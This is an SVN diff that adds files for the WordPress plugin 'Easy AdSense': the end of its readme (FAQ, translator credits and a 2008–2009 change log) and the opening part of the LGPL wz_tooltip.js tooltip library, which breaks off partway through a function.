+If you feel that the features of *Easy AdSense* are a bit too much, consider my lean and mean AdSense plugin [AdSense Now!](http://wordpress.org/extend/plugins/adsense-now/ "The simplest possible way to AdSense enable your blog")
+
+= I just upgraded to WordPress version 2.8. My widget is gone and I'm mad. What gives? =
+
+WP2.8 uses a different widget API. *Easy AdSense* is comapatible with it. Just go to your widget page, and drag and drop it again in the sidebar of your choice at the right point. Fret not, your settings and AdSense code are safely saved (per theme), and you don't have to cut and paste those details again.
+
+= I just activated the plugin. How come I don't see any ads in my blog? =
+
+Note that you have to generate your adsense code from Google, and paste the *entire* code in the text boxes, replacing the existing text. Changing the publisher id alone is not good enough.
+
+If you just created the new Google AdSense code, it may not be active yet. Google takes about ten minutes or so before serving ads. Please try again later.
+
+= I am having a difficult time getting the middle of post ads to show. They show in some posts, but not all of them. Any possible recommendations? =
+
+The middle ads are designed to show up only on long posts (of more than 20 paragraphs). Use the option to force the mid-text ads (in v1.82+) to override this length check.
+
+= How do I report a bug or ask a question? =
+
+Please report any problems, and share your thoughts and comments [at the plugin forum at WordPress](http://wordpress.org/tags/easy-adsenser "Post comments/suggestions/bugs on the WordPress.org forum. [Requires login/registration]") Or send an [email to the plugin author](http://manoj.thulasidas.com/mail.shtml "Email the author").
+
+== Translations ==
+
+* Turkish: [Omer Faruk](http://ramerta.com "Easy AdSense in Turkish (Turkce Ceviri)").
+* Spanish: [Joaquin R. Rizer](http://www.shanky.com.ar "Joaquin R. Rizer") and [Maikel Frias](http://www.maikeladas.es "Maikel Frias").
+* Portuguese: [Ivan Carlos](http://www.icarlos.net "Ivan Carlos").
+* Italian: [Angelo D Agostino](http://www.console-war.com "Angelo D Agostino").
+* Bahasa Indonesia: [Hendry](http://debuk.com/ "Hendry").
+* Belarusian: [Marcis Gasuns](http://www.fatcow.com/ "Marcis Gasuns").
+* German: Ole Emken.
+* Simplified Chinese: [Akii Snow](http://www.akii.org "Akii Snow").
+* French: Moi!
+
+PS: Plugin author does not endorse any of the translators' websites, nor is he responsible for the contents therein.
+
+A big "Thank You" to all my translators. *Easy AdSense* V2.6+ sports an *Easy Translator* interface that will make the maintenance of translations a breeze. Please take a look (by following the link on the plugin admin page inviting you to improve the existing translation) and update your translations, when you get a chance. This translation interface is a bit experimental and works only on WP2.8+; please report any issues you encounter so that I can improve it. Thanks!
+
+== Change Log ==
+
+* V2.60: Translation tool (called *Easy Translator*) for internationalization. English (en_US) users will see no difference, and have no reason to update. [July 12, 2009]
+* V2.59: Option to suppress ads on attachment pages. Simplified Chinese translation. [July 8, 2009]
+* V2.58: Admin page enhancements. [July 2, 2009]
+* V2.57: Removing min-max enforcing on ad space sharing. [June 30, 2009]
+* V2.56: Fixing a typo in `is_category()`. [June 26, 2009]
+* V2.55: Fixing the issue with submit buttons in IE8. [June 23, 2009]
+* V2.54: Providing `htmlspecialchars_decode()` for compatibility with older versions of PHP. [June 23, 2009]
+* V2.53: The `<div>`s containing the adsense code have class names set so that they can be controlled from the theme CSS. The shared ad-slots are of the same size and show only text ads now. [June 23, 2009]
+* V2.52: German translation. [June 20,2009]
+* V2.51: Widgets modified to handle the new Widgets API in WP2.8+. (Fully backward compatible.) [June 13, 2009]
+* V2.50: Option to suppress ads on category/tag/archive pages -- requested feature. Changing the plugin name (dropping the last "r"). Configurable ad-space sharing to support the plugin development. [June 12, 2009]
+* V2.41: Option to change the mouse-over border color and width for the ad blocks. Also, option to enable mouse-over decoration for the sidebar widget and link units. [June 6, 2009]
+* V2.40: Major improvements on the admin page. Sponsored links on the admin page. Adding a requested Feature: Option to suppress ad blocks in front page/home page. [May 29, 2009]
+* V2.38: Fixing a but that prevented the Google search title from being displayed. [May 22, 2009]
+* V2.37: Belarusian translation. [May 11, 2009]
+* V2.36: Turkish translation. [May 4, 2009]
+* V2.35: Added some HTML comments in the page with version number and ad block sequence number for easy trouble shooting. [May 1, 2009]
+* V2.34: A new option to put a border around the ad blocks as a mouse over decoration. [April 28, 2009]
+* V2.33: More fixes to finally make the admin page totally "Valid XHTML 1.0 Transitional." Also releasing translation in Bahasa Indonesia  [April 17, 2009]
+* V2.32: Minor bug fixes related to W3 Validation. [April 13, 2009]
+* V2.31: Updating some language files and correcting minor SVN commit errors. [April 12, 2009]
+* V2.30: Major overhaul of the interface. New clean look with javascript tooltips hiding details. New options to clean up the database entries and uninstall the plugin. [April 12, 2009]
+* V2.26: An option to show ads only in blog posts (and not on pages). [April 9, 2009]
+* V2.25: More robust handling of internationalization. [April 4, 2009]
+* V2.24: Releasing in Italian, revising Spanish. [April 3, 2009]
+* V2.23: Releasing in Portuguese. [March 29, 2009]
+* V2.22: Releasing in Spanish and French. [March 28, 2009]
+* V2.21: Internationalization -- second pass with my own localization in francais (pathetic though the translation is). [March 26, 2009]
+* V2.20: Internationalization (I18n) -- first pass. [March 26, 2009]
+* V2.11: Bug fix: the plugin wasn't gracefully handling posts with no custom fields. [March 10, 2009]
+* V2.10: Adding more control over displaying AdSense blocks in individual posts/pages. [March 8, 2009]
+* V2.01: An option to prioritize the sidebar widget when enforcing the Google policy of not more than three ad blocks. [March 3, 2009]
+* V2.00: [Feb 22, 2009]
+1. New widget for Link units.
+2. Complete revamping of the settings page, including an option to reload default settings.
+3. Coding improvements, including separating the HTML of the setting page from the PHP file.
+4. Ability to center ad blocks. [Due to this new feature, you may have to re-enter the alignment options of your existing ads if you are upgrading from an earlier version.]
+* V1.82: Option to remove all back-links to my blog, by user demand. Option to force mid-text ad-block even in short posts. [Feb 15, 2009]
+* V1.81: Simplifying the options on Google policy and limiting link-backs. [Feb 12, 2009]
+* V1.80: An option to limit link-backs, and to show ad blocks in feeds. [Feb 7, 2009]
+* V1.70: An option on Google policy -- to have two ad blocks plus the side bar widget, three ad blocks (with or without the side bar widget) or none at all. [Jan 25, 2009]
+* V1.61: Restricting the "Easy AdSense by Unreal" plug only to posts and pages. [Jan 18, 2009]
+* V1.60: Enforcing the Google AdSense policy of three ad blocks or less per page. [Jan 16, 2009]
+* V1.50: Another sidebar widget for Google search, making this plugin a complete solution for all things AdSense-related. [Jan 7, 2009]
+* V1.40: A sidebar widget. [Jan 2, 2009]
+* V1.30: Theme-specific configurations saved, so that if you switch back and forth between themes, you don't have to change the settings. [Dec 28, 2008]
+* V1.20: Tested with WordPress 2.7. Style modifications in the Admin-menu page to match the new WordPress. [Dec 13, 2008]
+* V1.10: Use of WordPress style sheets for better look and feel integration. Coding improvements. [Dec. 7, 2008]
+* V1.02: Added "Settings" link to the WP plugin page. [Nov 30, 2008]
+* V1.01: Minor fix for restricting the filter to single posts. [Nov 29, 2008]
+* V1.00: Initial release. [Nov 27, 2008]
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/wz_tooltip.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/wz_tooltip.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/wz_tooltip.js	(revision 44)
@@ -0,0 +1,1301 @@
+/* This notice must be untouched at all times.
+Copyright (c) 2002-2008 Walter Zorn. All rights reserved.
+
+wz_tooltip.js	 v. 5.31
+
+The latest version is available at
+http://www.walterzorn.com
+or http://www.devira.com
+or http://www.walterzorn.de
+
+Created 1.12.2002 by Walter Zorn (Web: http://www.walterzorn.com )
+Last modified: 7.11.2008
+
+Easy-to-use cross-browser tooltips.
+Just include the script at the beginning of the <body> section, and invoke
+Tip('Tooltip text') to show and UnTip() to hide the tooltip, from the desired
+HTML eventhandlers. Example:
+<a onmouseover="Tip('Some text')" onmouseout="UnTip()" href="index.htm">My home page</a>
+No container DIV required.
+By default, width and height of tooltips are automatically adapted to content.
+Is even capable of dynamically converting arbitrary HTML elements to tooltips
+by calling TagToTip('ID_of_HTML_element_to_be_converted') instead of Tip(),
+which means you can put important, search-engine-relevant stuff into tooltips.
+Appearance & behaviour of tooltips can be individually configured
+via commands passed to Tip() or TagToTip().
+
+Tab Width: 4
+LICENSE: LGPL
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License (LGPL) as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
+For more details on the GNU Lesser General Public License,
+see http://www.gnu.org/copyleft/lesser.html
+*/
+
+var config = new Object();
+
+
+//===================  GLOBAL TOOLTIP CONFIGURATION  =========================//
+var tt_Debug	= true		// false or true - recommended: false once you release your page to the public
+var tt_Enabled	= true		// Allows to (temporarily) suppress tooltips, e.g. by providing the user with a button that sets this global variable to false
+var TagsToTip	= true		// false or true - if true, HTML elements to be converted to tooltips via TagToTip() are automatically hidden;
+							// if false, you should hide those HTML elements yourself
+
+// For each of the following config variables there exists a command, which is
+// just the variablename in uppercase, to be passed to Tip() or TagToTip() to
+// configure tooltips individually. Individual commands override global
+// configuration. Order of commands is arbitrary.
+// Example: onmouseover="Tip('Tooltip text', LEFT, true, BGCOLOR, '#FF9900', FADEIN, 400)"
+
+config. Above			= false		// false or true - tooltip above mousepointer
+config. BgColor			= '#E2E7FF'	// Background colour (HTML colour value, in quotes)
+config. BgImg			= ''		// Path to background image, none if empty string ''
+config. BorderColor		= '#003099'
+config. BorderStyle		= 'solid'	// Any permitted CSS value, but I recommend 'solid', 'dotted' or 'dashed'
+config. BorderWidth		= 1
+config. CenterMouse		= false		// false or true - center the tip horizontally below (or above) the mousepointer
+config. ClickClose		= false		// false or true - close tooltip if the user clicks somewhere
+config. ClickSticky		= false		// false or true - make tooltip sticky if user left-clicks on the hovered element while the tooltip is active
+config. CloseBtn		= false		// false or true - closebutton in titlebar
+config. CloseBtnColors	= ['#990000', '#FFFFFF', '#DD3333', '#FFFFFF']	// [Background, text, hovered background, hovered text] - use empty strings '' to inherit title colours
+config. CloseBtnText	= '&nbsp;X&nbsp;'	// Close button text (may also be an image tag)
+config. CopyContent		= true		// When converting a HTML element to a tooltip, copy only the element's content, rather than converting the element by its own
+config. Delay			= 400		// Time span in ms until tooltip shows up
+config. Duration		= 0			// Time span in ms after which the tooltip disappears; 0 for infinite duration, < 0 for delay in ms _after_ the onmouseout until the tooltip disappears
+config. Exclusive		= false		// false or true - no other tooltip can appear until the current one has actively been closed
+config. FadeIn			= 100		// Fade-in duration in ms, e.g. 400; 0 for no animation
+config. FadeOut			= 100
+config. FadeInterval	= 30		// Duration of each fade step in ms (recommended: 30) - shorter is smoother but causes more CPU-load
+config. Fix				= null		// Fixated position, two modes. Mode 1: x- an y-coordinates in brackets, e.g. [210, 480]. Mode 2: Show tooltip at a position related to an HTML element: [ID of HTML element, x-offset, y-offset from HTML element], e.g. ['SomeID', 10, 30]. Value null (default) for no fixated positioning.
+config. FollowMouse		= true		// false or true - tooltip follows the mouse
+config. FontColor		= '#000044'
+config. FontFace		= 'Verdana,Geneva,sans-serif'
+config. FontSize		= '8pt'		// E.g. '9pt' or '12px' - unit is mandatory
+config. FontWeight		= 'normal'	// 'normal' or 'bold';
+config. Height			= 0			// Tooltip height; 0 for automatic adaption to tooltip content, < 0 (e.g. -100) for a maximum for automatic adaption
+config. JumpHorz		= false		// false or true - jump horizontally to other side of mouse if tooltip would extend past clientarea boundary
+config. JumpVert		= true		// false or true - jump vertically		"
+config. Left			= false		// false or true - tooltip on the left of the mouse
+config. OffsetX			= 14		// Horizontal offset of left-top corner from mousepointer
+config. OffsetY			= 8			// Vertical offset
+config. Opacity			= 100		// Integer between 0 and 100 - opacity of tooltip in percent
+config. Padding			= 3			// Spacing between border and content
+config. Shadow			= false		// false or true
+config. ShadowColor		= '#C0C0C0'
+config. ShadowWidth		= 5
+config. Sticky			= false		// false or true - fixate tip, ie. don't follow the mouse and don't hide on mouseout
+config. TextAlign		= 'left'	// 'left', 'right' or 'justify'
+config. Title			= ''		// Default title text applied to all tips (no default title: empty string '')
+config. TitleAlign		= 'left'	// 'left' or 'right' - text alignment inside the title bar
+config. TitleBgColor	= ''		// If empty string '', BorderColor will be used
+config. TitleFontColor	= '#FFFFFF'	// Color of title text - if '', BgColor (of tooltip body) will be used
+config. TitleFontFace	= ''		// If '' use FontFace (boldified)
+config. TitleFontSize	= ''		// If '' use FontSize
+config. TitlePadding	= 2
+config. Width			= 0			// Tooltip width; 0 for automatic adaption to tooltip content; < -1 (e.g. -240) for a maximum width for that automatic adaption;
+									// -1: tooltip width confined to the width required for the titlebar
+//=======  END OF TOOLTIP CONFIG, DO NOT CHANGE ANYTHING BELOW  ==============//
+
+
+
+
+//=====================  PUBLIC  =============================================//
+function Tip()
+{
+	tt_Tip(arguments, null);
+}
+function TagToTip()
+{
+	var t2t = tt_GetElt(arguments[0]);
+	if(t2t)
+		tt_Tip(arguments, t2t);
+}
+function UnTip()
+{
+	tt_OpReHref();
+	if(tt_aV[DURATION] < 0 && (tt_iState & 0x2))
+		tt_tDurt.Timer("tt_HideInit()", -tt_aV[DURATION], true);
+	else if(!(tt_aV[STICKY] && (tt_iState & 0x2)))
+		tt_HideInit();
+}
+
+//==================  PUBLIC PLUGIN API	 =====================================//
+// Extension eventhandlers currently supported:
+// OnLoadConfig, OnCreateContentString, OnSubDivsCreated, OnShow, OnMoveBefore,
+// OnMoveAfter, OnHideInit, OnHide, OnKill
+
+var tt_aElt = new Array(10), // Container DIV, outer title & body DIVs, inner title & body TDs, closebutton SPAN, shadow DIVs, and IFRAME to cover windowed elements in IE
+tt_aV = new Array(),	// Caches and enumerates config data for currently active tooltip
+tt_sContent,			// Inner tooltip text or HTML
+tt_t2t, tt_t2tDad,		// Tag converted to tip, and its DOM parent element
+tt_musX, tt_musY,
+tt_over,
+tt_x, tt_y, tt_w, tt_h; // Position, width and height of currently displayed tooltip
+
+function tt_Extension()
+{
+	tt_ExtCmdEnum();
+	tt_aExt[tt_aExt.length] = this;
+	return this;
+}
+function tt_SetTipPos(x, y)
+{
+	var css = tt_aElt[0].style;
+
+	tt_x = x;
+	tt_y = y;
+	css.left = x + "px";
+	css.top = y + "px";
+	if(tt_ie56)
+	{
+		var ifrm = tt_aElt[tt_aElt.length - 1];
+		if(ifrm)
+		{
+			ifrm.style.left = css.left;
+			ifrm.style.top = css.top;
+		}
+	}
+}
+function tt_HideInit()
+{
+	if(tt_iState)
+	{
+		tt_ExtCallFncs(0, "HideInit");
+		tt_iState &= ~(0x4 | 0x8);
+		if(tt_flagOpa && tt_aV[FADEOUT])
+		{
+			tt_tFade.EndTimer();
+			if(tt_opa)
+			{
+				var n = Math.round(tt_aV[FADEOUT] / (tt_aV[FADEINTERVAL] * (tt_aV[OPACITY] / tt_opa)));
+				tt_Fade(tt_opa, tt_opa, 0, n);
+				return;
+			}
+		}
+		tt_tHide.Timer("tt_Hide();", 1, false);
+	}
+}
+function tt_Hide()
+{
+	if(tt_db && tt_iState)
+	{
+		tt_OpReHref();
+		if(tt_iState & 0x2)
+		{
+			tt_aElt[0].style.visibility = "hidden";
+			tt_ExtCallFncs(0, "Hide");
+		}
+		tt_tShow.EndTimer();
+		tt_tHide.EndTimer();
+		tt_tDurt.EndTimer();
+		tt_tFade.EndTimer();
+		if(!tt_op && !tt_ie)
+		{
+			tt_tWaitMov.EndTimer();
+			tt_bWait = false;
+		}
+		if(tt_aV[CLICKCLOSE] || tt_aV[CLICKSTICKY])
+			tt_RemEvtFnc(document, "mouseup", tt_OnLClick);
+		tt_ExtCallFncs(0, "Kill");
+		// In case of a TagToTip tip, hide converted DOM node and
+		// re-insert it into DOM
+		if(tt_t2t && !tt_aV[COPYCONTENT])
+			tt_UnEl2Tip();
+		tt_iState = 0;
+		tt_over = null;
+		tt_ResetMainDiv();
+		if(tt_aElt[tt_aElt.length - 1])
+			tt_aElt[tt_aElt.length - 1].style.display = "none";
+	}
+}
+function tt_GetElt(id)
+{
+	return(document.getElementById ? document.getElementById(id)
+			: document.all ? document.all[id]
+			: null);
+}
+function tt_GetDivW(el)
+{
+	return(el ? (el.offsetWidth || el.style.pixelWidth || 0) : 0);
+}
+function tt_GetDivH(el)
+{
+	return(el ? (el.offsetHeight || el.style.pixelHeight || 0) : 0);
+}
+function tt_GetScrollX()
+{
+	return(window.pageXOffset || (tt_db ? (tt_db.scrollLeft || 0) : 0));
+}
+function tt_GetScrollY()
+{
+	return(window.pageYOffset || (tt_db ? (tt_db.scrollTop || 0) : 0));
+}
+function tt_GetClientW()
+{
+	return tt_GetWndCliSiz("Width");
+}
+function tt_GetClientH()
+{
+	return tt_GetWndCliSiz("Height");
+}
+function tt_GetEvtX(e)
+{
+	return (e ? ((typeof(e.pageX) != tt_u) ? e.pageX : (e.clientX + tt_GetScrollX())) : 0);
+}
+function tt_GetEvtY(e)
+{
+	return (e ? ((typeof(e.pageY) != tt_u) ? e.pageY : (e.clientY + tt_GetScrollY())) : 0);
+}
+function tt_AddEvtFnc(el, sEvt, PFnc)
+{
+	if(el)
+	{
+		if(el.addEventListener)
+			el.addEventListener(sEvt, PFnc, false);
+		else
+			el.attachEvent("on" + sEvt, PFnc);
+	}
+}
+function tt_RemEvtFnc(el, sEvt, PFnc)
+{
+	if(el)
+	{
+		if(el.removeEventListener)
+			el.removeEventListener(sEvt, PFnc, false);
+		else
+			el.detachEvent("on" + sEvt, PFnc);
+	}
+}
+function tt_GetDad(el)
+{
+	return(el.parentNode || el.parentElement || el.offsetParent);
+}
+function tt_MovDomNode(el, dadFrom, dadTo)
+{
+	if(dadFrom)
+		dadFrom.removeChild(el);
+	if(dadTo)
+		dadTo.appendChild(el);
+}
+
+//======================  PRIVATE  ===========================================//
+var tt_aExt = new Array(),	// Array of extension objects
+
+tt_db, tt_op, tt_ie, tt_ie56, tt_bBoxOld,	// Browser flags
+tt_body,
+tt_ovr_,				// HTML element the mouse is currently over
+tt_flagOpa,				// Opacity support: 1=IE, 2=Khtml, 3=KHTML, 4=Moz, 5=W3C
+tt_maxPosX, tt_maxPosY,
+tt_iState = 0,			// Tooltip active |= 1, shown |= 2, move with mouse |= 4, exclusive |= 8
+tt_opa,					// Currently applied opacity
+tt_bJmpVert, tt_bJmpHorz,// Tip temporarily on other side of mouse
+tt_elDeHref,			// The tag from which we've removed the href attribute
+// Timer
+tt_tShow = new Number(0), tt_tHide = new Number(0), tt_tDurt = new Number(0),
+tt_tFade = new Number(0), tt_tWaitMov = new Number(0),
+tt_bWait = false,
+tt_u = "undefined";
+
+
+function tt_Init()
+{
+	tt_MkCmdEnum();
+	// Send old browsers instantly to hell
+	if(!tt_Browser() || !tt_MkMainDiv())
+		return;
+	tt_IsW3cBox();
+	tt_OpaSupport();
+	tt_AddEvtFnc(document, "mousemove", tt_Move);
+	// In Debug mode we search for TagToTip() calls in order to notify
+	// the user if they've forgotten to set the TagsToTip config flag
+	if(TagsToTip || tt_Debug)
+		tt_SetOnloadFnc();
+	// Ensure the tip be hidden when the page unloads
+	tt_AddEvtFnc(window, "unload", tt_Hide);
+}
+// Creates command names by translating config variable names to upper case
+function tt_MkCmdEnum()
+{
+	var n = 0;
+	for(var i in config)
+		eval("window." + i.toString().toUpperCase() + " = " + n++);
+	tt_aV.length = n;
+}
+function tt_Browser()
+{
+	var n, nv, n6, w3c;
+
+	n = navigator.userAgent.toLowerCase(),
+	nv = navigator.appVersion;
+	tt_op = (document.defaultView && typeof(eval("w" + "indow" + "." + "o" + "p" + "er" + "a")) != tt_u);
+	tt_ie = n.indexOf("msie") != -1 && document.all && !tt_op;
+	if(tt_ie)
+	{
+		var ieOld = (!document.compatMode || document.compatMode == "BackCompat");
+		tt_db = !ieOld ? document.documentElement : (document.body || null);
+		if(tt_db)
+			tt_ie56 = parseFloat(nv.substring(nv.indexOf("MSIE") + 5)) >= 5.5
+					&& typeof document.body.style.maxHeight == tt_u;
+	}
+	else
+	{
+		tt_db = document.documentElement || document.body ||
+				(document.getElementsByTagName ? document.getElementsByTagName("body")[0]
+				: null);
+		if(!tt_op)
+		{
+			n6 = document.defaultView && typeof document.defaultView.getComputedStyle != tt_u;
+			w3c = !n6 && document.getElementById;
+		}
+	}
+	tt_body = (document.getElementsByTagName ? document.getElementsByTagName("body")[0]
+				: (document.body || null));
+	if(tt_ie || n6 || tt_op || w3c)
+	{
+		if(tt_body && tt_db)
+		{
+			if(document.attachEvent || document.addEventListener)
+				return true;
+		}
+		else
+			tt_Err("wz_tooltip.js must be included INSIDE the body section,"
+					+ " immediately after the opening <body> tag.", false);
+	}
+	tt_db = null;
+	return false;
+}
+function tt_MkMainDiv()
+{
+	// Create the tooltip DIV
+	if(tt_body.insertAdjacentHTML)
+		tt_body.insertAdjacentHTML("afterBegin", tt_MkMainDivHtm());
+	else if(typeof tt_body.innerHTML != tt_u && document.createElement && tt_body.appendChild)
+		tt_body.appendChild(tt_MkMainDivDom());
+	if(window.tt_GetMainDivRefs /* FireFox Alzheimer */ && tt_GetMainDivRefs())
+		return true;
+	tt_db = null;
+	return false;
+}
+function tt_MkMainDivHtm()
+{
+	return(
+		'<div id="WzTtDiV"></div>' +
+		(tt_ie56 ? ('<iframe id="WzTtIfRm" src="javascript:false" scrolling="no" frameborder="0" style="filter:Alpha(opacity=0);position:absolute;top:0px;left:0px;display:none;"></iframe>')
+		: '')
+	);
+}
+function tt_MkMainDivDom()
+{
+	var el = document.createElement("div");
+	if(el)
+		el.id = "WzTtDiV";
+	return el;
+}
+function tt_GetMainDivRefs()
+{
+	tt_aElt[0] = tt_GetElt("WzTtDiV");
+	if(tt_ie56 && tt_aElt[0])
+	{
+		tt_aElt[tt_aElt.length - 1] = tt_GetElt("WzTtIfRm");
+		if(!tt_aElt[tt_aElt.length - 1])
+			tt_aElt[0] = null;
+	}
+	if(tt_aElt[0])
+	{
+		var css = tt_aElt[0].style;
+
+		css.visibility = "hidden";
+		css.position = "absolute";
+		css.overflow = "hidden";
+		return true;
+	}
+	return false;
+}
+function tt_ResetMainDiv()
+{
+	tt_SetTipPos(0, 0);
+	tt_aElt[0].innerHTML = "";
+	tt_aElt[0].style.width = "0px";
+	tt_h = 0;
+}
+function tt_IsW3cBox()
+{
+	var css = tt_aElt[0].style;
+
+	css.padding = "10px";
+	css.width = "40px";
+	tt_bBoxOld = (tt_GetDivW(tt_aElt[0]) == 40);
+	css.padding = "0px";
+	tt_ResetMainDiv();
+}
+function tt_OpaSupport()
+{
+	var css = tt_body.style;
+
+	tt_flagOpa = (typeof(css.KhtmlOpacity) != tt_u) ? 2
+				: (typeof(css.KHTMLOpacity) != tt_u) ? 3
+				: (typeof(css.MozOpacity) != tt_u) ? 4
+				: (typeof(css.opacity) != tt_u) ? 5
+				: (typeof(css.filter) != tt_u) ? 1
+				: 0;
+}
+// Ported from http://dean.edwards.name/weblog/2006/06/again/
+// (Dean Edwards et al.)
+function tt_SetOnloadFnc()
+{
+	tt_AddEvtFnc(document, "DOMContentLoaded", tt_HideSrcTags);
+	tt_AddEvtFnc(window, "load", tt_HideSrcTags);
+	if(tt_body.attachEvent)
+		tt_body.attachEvent("onreadystatechange",
+			function() {
+				if(tt_body.readyState == "complete")
+					tt_HideSrcTags();
+			} );
+	if(/WebKit|KHTML/i.test(navigator.userAgent))
+	{
+		var t = setInterval(function() {
+					if(/loaded|complete/.test(document.readyState))
+					{
+						clearInterval(t);
+						tt_HideSrcTags();
+					}
+				}, 10);
+	}
+}
+function tt_HideSrcTags()
+{
+	if(!window.tt_HideSrcTags || window.tt_HideSrcTags.done)
+		return;
+	window.tt_HideSrcTags.done = true;
+	if(!tt_HideSrcTagsRecurs(tt_body))
+		tt_Err("There are HTML elements to be converted to tooltips.\nIf you"
+				+ " want these HTML elements to be automatically hidden, you"
+				+ " must edit wz_tooltip.js, and set TagsToTip in the global"
+				+ " tooltip configuration to true.", true);
+}
+function tt_HideSrcTagsRecurs(dad)
+{
+	var ovr, asT2t;
+	// Walk the DOM tree for tags that have an onmouseover or onclick attribute
+	// containing a TagToTip('...') call.
+	// (.childNodes first since .children is bugous in Safari)
+	var a = dad.childNodes || dad.children || null;
+
+	for(var i = a ? a.length : 0; i;)
+	{--i;
+		if(!tt_HideSrcTagsRecurs(a[i]))
+			return false;
+		ovr = a[i].getAttribute ? (a[i].getAttribute("onmouseover") || a[i].getAttribute("onclick"))
+				: (typeof a[i].onmouseover == "function") ? (a[i].onmouseover || a[i].onclick)
+				: null;
+		if(ovr)
+		{
+			asT2t = ovr.toString().match(/TagToTip\s*\(\s*'[^'.]+'\s*[\),]/);
+			if(asT2t && asT2t.length)
+			{
+				if(!tt_HideSrcTag(asT2t[0]))
+					return false;
+			}
+		}
+	}
+	return true;
+}
+function tt_HideSrcTag(sT2t)
+{
+	var id, el;
+
+	// The ID passed to the found TagToTip() call identifies an HTML element
+	// to be converted to a tooltip, so hide that element
+	id = sT2t.replace(/.+'([^'.]+)'.+/, "$1");
+	el = tt_GetElt(id);
+	if(el)
+	{
+		if(tt_Debug && !TagsToTip)
+			return false;
+		else
+			el.style.display = "none";
+	}
+	else
+		tt_Err("Invalid ID\n'" + id + "'\npassed to TagToTip()."
+				+ " There exists no HTML element with that ID.", true);
+	return true;
+}
+function tt_Tip(arg, t2t)
+{
+	if(!tt_db || (tt_iState & 0x8))
+		return;
+	if(tt_iState)
+		tt_Hide();
+	if(!tt_Enabled)
+		return;
+	tt_t2t = t2t;
+	if(!tt_ReadCmds(arg))
+		return;
+	tt_iState = 0x1 | 0x4;
+	tt_AdaptConfig1();
+	tt_MkTipContent(arg);
+	tt_MkTipSubDivs();
+	tt_FormatTip();
+	tt_bJmpVert = false;
+	tt_bJmpHorz = false;
+	tt_maxPosX = tt_GetClientW() + tt_GetScrollX() - tt_w - 1;
+	tt_maxPosY = tt_GetClientH() + tt_GetScrollY() - tt_h - 1;
+	tt_AdaptConfig2();
+	// Ensure the tip be shown and positioned before the first onmousemove
+	tt_OverInit();
+	tt_ShowInit();
+	tt_Move();
+}
+function tt_ReadCmds(a)
+{
+	var i;
+
+	// First load the global config values, to initialize also values
+	// for which no command is passed
+	i = 0;
+	for(var j in config)
+		tt_aV[i++] = config[j];
+	// Then replace each cached config value for which a command is
+	// passed (ensure the # of command args plus value args be even)
+	if(a.length & 1)
+	{
+		for(i = a.length - 1; i > 0; i -= 2)
+			tt_aV[a[i - 1]] = a[i];
+		return true;
+	}
+	tt_Err("Incorrect call of Tip() or TagToTip().\n"
+			+ "Each command must be followed by a value.", true);
+	return false;
+}
+function tt_AdaptConfig1()
+{
+	tt_ExtCallFncs(0, "LoadConfig");
+	// Inherit unspecified title formattings from body
+	if(!tt_aV[TITLEBGCOLOR].length)
+		tt_aV[TITLEBGCOLOR] = tt_aV[BORDERCOLOR];
+	if(!tt_aV[TITLEFONTCOLOR].length)
+		tt_aV[TITLEFONTCOLOR] = tt_aV[BGCOLOR];
+	if(!tt_aV[TITLEFONTFACE].length)
+		tt_aV[TITLEFONTFACE] = tt_aV[FONTFACE];
+	if(!tt_aV[TITLEFONTSIZE].length)
+		tt_aV[TITLEFONTSIZE] = tt_aV[FONTSIZE];
+	if(tt_aV[CLOSEBTN])
+	{
+		// Use title colours for non-specified closebutton colours
+		if(!tt_aV[CLOSEBTNCOLORS])
+			tt_aV[CLOSEBTNCOLORS] = new Array("", "", "", "");
+		for(var i = 4; i;)
+		{--i;
+			if(!tt_aV[CLOSEBTNCOLORS][i].length)
+				tt_aV[CLOSEBTNCOLORS][i] = (i & 1) ? tt_aV[TITLEFONTCOLOR] : tt_aV[TITLEBGCOLOR];
+		}
+		// Enforce titlebar be shown
+		if(!tt_aV[TITLE].length)
+			tt_aV[TITLE] = " ";
+	}
+	// Circumvents broken display of images and fade-in flicker in Geckos < 1.8
+	if(tt_aV[OPACITY] == 100 && typeof tt_aElt[0].style.MozOpacity != tt_u && !Array.every)
+		tt_aV[OPACITY] = 99;
+	// Smartly shorten the delay for fade-in tooltips
+	if(tt_aV[FADEIN] && tt_flagOpa && tt_aV[DELAY] > 100)
+		tt_aV[DELAY] = Math.max(tt_aV[DELAY] - tt_aV[FADEIN], 100);
+}
+function tt_AdaptConfig2()
+{
+	if(tt_aV[CENTERMOUSE])
+	{
+		tt_aV[OFFSETX] -= ((tt_w - (tt_aV[SHADOW] ? tt_aV[SHADOWWIDTH] : 0)) >> 1);
+		tt_aV[JUMPHORZ] = false;
+	}
+}
+// Expose content globally so extensions can modify it
+function tt_MkTipContent(a)
+{
+	if(tt_t2t)
+	{
+		if(tt_aV[COPYCONTENT])
+			tt_sContent = tt_t2t.innerHTML;
+		else
+			tt_sContent = "";
+	}
+	else
+		tt_sContent = a[0];
+	tt_ExtCallFncs(0, "CreateContentString");
+}
+function tt_MkTipSubDivs()
+{
+	var sCss = 'position:relative;margin:0px;padding:0px;border-width:0px;left:0px;top:0px;line-height:normal;width:auto;',
+	sTbTrTd = ' cellspacing="0" cellpadding="0" border="0" style="' + sCss + '"><tbody style="' + sCss + '"><tr><td ';
+
+	tt_aElt[0].style.width = tt_GetClientW() + "px";
+	tt_aElt[0].innerHTML =
+		(''
+		+ (tt_aV[TITLE].length ?
+			('<div id="WzTiTl" style="position:relative;z-index:1;">'
+			+ '<table id="WzTiTlTb"' + sTbTrTd + 'id="WzTiTlI" style="' + sCss + '">'
+			+ tt_aV[TITLE]
+			+ '</td>'
+			+ (tt_aV[CLOSEBTN] ?
+				('<td align="right" style="' + sCss
+				+ 'text-align:right;">'
+				+ '<span id="WzClOsE" style="position:relative;left:2px;padding-left:2px;padding-right:2px;'
+				+ 'cursor:' + (tt_ie ? 'hand' : 'pointer')
+				+ ';" onmouseover="tt_OnCloseBtnOver(1)" onmouseout="tt_OnCloseBtnOver(0)" onclick="tt_HideInit()">'
+				+ tt_aV[CLOSEBTNTEXT]
+				+ '</span></td>')
+				: '')
